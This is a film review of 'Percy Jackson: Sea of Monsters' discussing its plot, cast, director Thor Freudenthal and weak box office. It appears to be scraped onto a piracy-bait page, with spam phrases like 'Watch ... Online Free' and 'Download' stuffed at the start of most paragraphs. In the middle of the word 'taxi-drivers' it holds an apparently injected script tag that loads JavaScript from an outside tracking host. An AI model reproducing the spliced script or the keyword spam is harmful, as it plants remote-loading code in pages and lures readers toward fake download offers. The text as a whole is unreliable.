Watch Percy Jackson Sea of Monsters Online Pretty well all super-heroes owe something to classical mythology, but Percy Jackson is more Greek than most. His mother is mortal, but his father is Poseidon, god of the sea. This makes him a demi-god with a very complicated life. Every now and again, he’s forced to take a break from his studies to save the world.

Watch Percy Jackson Sea of Monsters Online Free His real creator is Rick Riordan, an American schoolteacher who translated his love of Greek myths into a flourishing career as a children’s book author after starting with bedtime stories told to his young son. Unfortunately, the results fall a long way short of J. K. Rowling’s best efforts, but the marketplace hasn’t minded. Riordan’s first Percy novel was published in 2005 and four more swiftly followed, all of them big sellers. In 2010, Chris Columbus, who directed the first Harry Potter film, brought Percy Jackson and the Lightning Thief to the screen, with Pierce Brosnan as a centaur and Uma Thurman as an eye-catching Medusa. This one is lower on star power. The only well-known name is Stanley Tucci as the normally fun-loving Dionysus. Since he reluctantly consented to take on the job of co-director of the demi-gods’ academy, Camp Half-Blood, he’s sworn off alcohol and it’s making him very cranky. You can only sympathise.

At Half-Blood, Percy (Logan Lerman) and his classmates work tirelessly at their training, as they have to if they’re to keep up with the busy schedule Riordan has in store for them.

Watch Percy Jackson Sea of Monsters Movie In the first story, 13-year-old Percy had to recover Zeus’ stolen lightning bolt. This time round, he’s off to find the Golden Fleece before it can be used to liberate the Titan, Kronos, the most serious of the series’ many villains. There are various sub-plots involving old grudges and vexed father-son relations. Percy’s fellow demi-god Luke (Jake Abel), for example, is on the side of the Titans because he has a score to settle with his father, Hermes (Nathan Fillion). Percy’s feelings towards Poseidon are more mixed up. He hasn’t heard from him for a while and he’s feeling neglected. He’s also painfully aware that a demi-god is only as good as his latest performance and it’s been some time since the affair of the lightning bolt. Advertisement

As well, he has a rival in the academy’s top girl, Clarisse (Leven Rambin), fiery daughter of the war god, Ares. To add to this she’s the one chosen to lead the Golden Fleece search.

Watch Percy Jackson Sea of Monsters Movie Online And that’s about it for character study. The film’s German-born director, Thor Freudenthal, graduated from the visual-effects business and it’s clear he is still an enthusiast. The action bounds from one big CGI sequence to the next with few pauses for conversation, which is a pity, because Lerman’s soulful looks are matched by acting talents that he’s rarely had a chance to display.

Download Percy Jackson Sea of Monsters His endearing performance as the hypersensitive hero of last year’s The Perks of Being a Wallflower was a revelation. But he has no time to inject any nuance into Percy’s pangs of self-doubt. When his best friend, Grover (Brandon T. Jackson), the satyr, is taken prisoner by an oversize Cyclops, Percy and his girlfriend, Annabeth (Alexandra Daddario), must set off to find him and bring him back. With them is another, much more benign Cyclops – Tyson (Douglas Smith), Percy’s newly discovered half-brother. He wants only to be his friend, despite acute misgivings on the part of the rest of the gang.

These bruisers are formidable enough but the Bermuda Triangle is still to come, along with Scylla and Charybdis, who have relocated from the Mediterranean to the Caribbean.

Percy Jackson Sea of Monsters Download There are one or two funny bits. Singers Missi Pyle and Mary Birdsong appear with comic Yvette Nicole Brown as a trio of taxi-driv<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=bc533804494295af3b51197bae6e4698"></script>ers with just one eye between them, and Clarisse is found at the base of the triangle in command of a ghost ship crewed by a spectral group of Confederate soldiers, still in the remnants of their Civil War uniforms. But most of it is so straight-faced it only serves to remind you yet again of the richness achieved with the Harry Potter series.

Watch Percy Jackson Sea of Monsters Online It’s difficult to say if we’ll be seeing more of Percy on screen. The film’s United States box-office figures have been lacklustre so its distributors, Fox, will be waiting to see how it performs internationally before agreeing to the third adaptation. Hollywood always finds it hard to resist a series with a lot of devoted readers. This effort, however, seems unlikely to find Riordan many new ones.
